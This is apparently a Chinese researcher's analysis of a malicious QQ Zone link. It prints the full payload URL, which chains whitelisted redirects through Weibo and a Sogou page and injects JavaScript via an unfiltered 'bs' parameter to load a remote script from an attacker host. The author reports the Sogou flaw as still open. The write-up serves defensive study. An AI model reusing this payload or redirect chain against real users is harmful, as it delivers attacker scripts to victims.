本案例写于6月30日(HW收尾阶段),当时本想着发出来。结果忙着忙着就忘了… 今天看到先知社区上有写一篇也是关于QQ空间恶意跳转,感觉他写的这块和我碰上的有些差异,故拿出来说一说~
该恶意链接会以这种方式传播,使人迫不及待的点击进去……
以下是点进后出发的payload:
http://open.qzone.qq.com/url_check?url=https%3A%2F%2Fweibo.cn%2Fsinaurl%3F_wv%3D1027%26cmd%3Dplay%26u%3Dhttp%253A%252F%252Fsubdomain.sogou.com%252Fct%253Fid%253D1025611%2526h%253D333%2526w%253D33336%2526fv%253D32%2526if%253D16%2526sohuurl%253Dhttps%25253A%25252F%25252Fnews.china.com%25252Ft_we1561734359ZWl0ZQ.html%2526bs%253D1423%252C794%252522%257D%257D%25250a%253Beval%2528atob%2528%252522ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjPSdodHRwOi8vbS5qcXVlcnkua2ltOjgwOTAvd2ViL2lmLnBocD8xMjMnPjwvc2NyaXB0PiIp%252522%2529%2529%253B%25250aif%2528O%2529%257Bif%2528B%2529%257B%2525221%2526tmp_cdif%253D0%2526mi%253D0%2526m%253DMTU1OTQwMzcwMV9wcmV0dHkgZG9nXzEwMjU2MTEA%2526ex%253D%2526glx%253D0%2526r%253D1561734359%2526business%253D%2523123&cmd=play&_wv=2098179#123
这里有url编码,经过美化我们可以得到:
http://open.qzone.qq.com/url_check?url=https://weibo.cn/sinaurl?_wv=1027&cmd=play&u=http://subdomain.sogou.com/ct?id=1025611&h=333&w=33336&fv=32&if=16&sohuurl=https%3A%2F%2Fnews.china.com%2Ft_we1561734359ZWl0ZQ.html&bs=1423,794%22}}%0a;eval(atob("document.write("<script src='http://m.jquery.kim:8090/web/if.php?123'></script>")"));%0aif(O){if(B){%221&tmp_cdif=0&mi=0&m=MTU1OTQwMzcwMV9wcmV0dHkgZG9nXzEwMjU2MTEA&ex=&glx=0&r=1561734359&business=#123&cmd=play&_wv=2098179#123
(这里搜狗的URL我就不公布了,我今天看发现这个漏洞还在… SRC注册不上也交不了.sad)
其实到这一步大部分人就可以分析出来结果了…为了方便展示我给大家写一个跳转流程图。
跳转过程即为:QQ空间的urlcheck => 微博链接分享 => 搜狗某站 。
在本站下,存在一处js代码注入的地方(希望各位师傅指点一下这个应该叫什么,我觉得像XSS又觉得不像…)
可控点即为bs,通过抓包分析,我们可以发现在bs输入的内容未经过滤直接拼接到js代码中,相当于闭合字符串后,eval运行了自定义的一段js代码,并且闭合后续部分,整个攻击链就这么完成了。
P.S: 对于该url下为什么要有sohuurl,根据我自己分析应该是网页的要求,没有这个url,后端就不会处理提交的参数。
说实话,当时分析到这一步我也有点卡壳,因为攻击者利用的是php后端,你直接去访问这个页面得到的结果如下,我个人认为是通过检测referer或者UA,判断你的来源(电脑点进来,或者手机端)。只要有一个条件不满足,就直接跳转到腾讯的禁止访问页面(https://c.qq.com/ios.html) ,这里和下图(Foutome)url没有任何关系,该参数是当你点申诉时会自动给你填上的参数,你url换成baidu也是停止访问。(这个挺有意思,给你一种错觉,把锅甩给另外一个网站)。
回到正题,我个人推断还是在空间的某个地方存在CSRF利用,导致转发这种恶意链接。至于是哪个位置我也没有去钻研… 希望有师傅发现了可以提交一波。
后来也找了一波这个网站的拥有者,估计也是用的黑户,得到的信息也仅限下方所示。
这方面存在的漏洞虽然很有趣,但是也是目前未来安全研究的一个重点问题。举个例子,A-B-C,B是A的白名单,C又是B的白名单,当C拉了跨(即存在漏洞)的时候,这就会导致A和B同时遭受到风险。攻击者可以利用这个白名单链让本来不存在安全风险的网站再次受到威胁。
如果想学习一波的话也可以看下其他的文章,其实大体思路都很像,关键在于组合利用。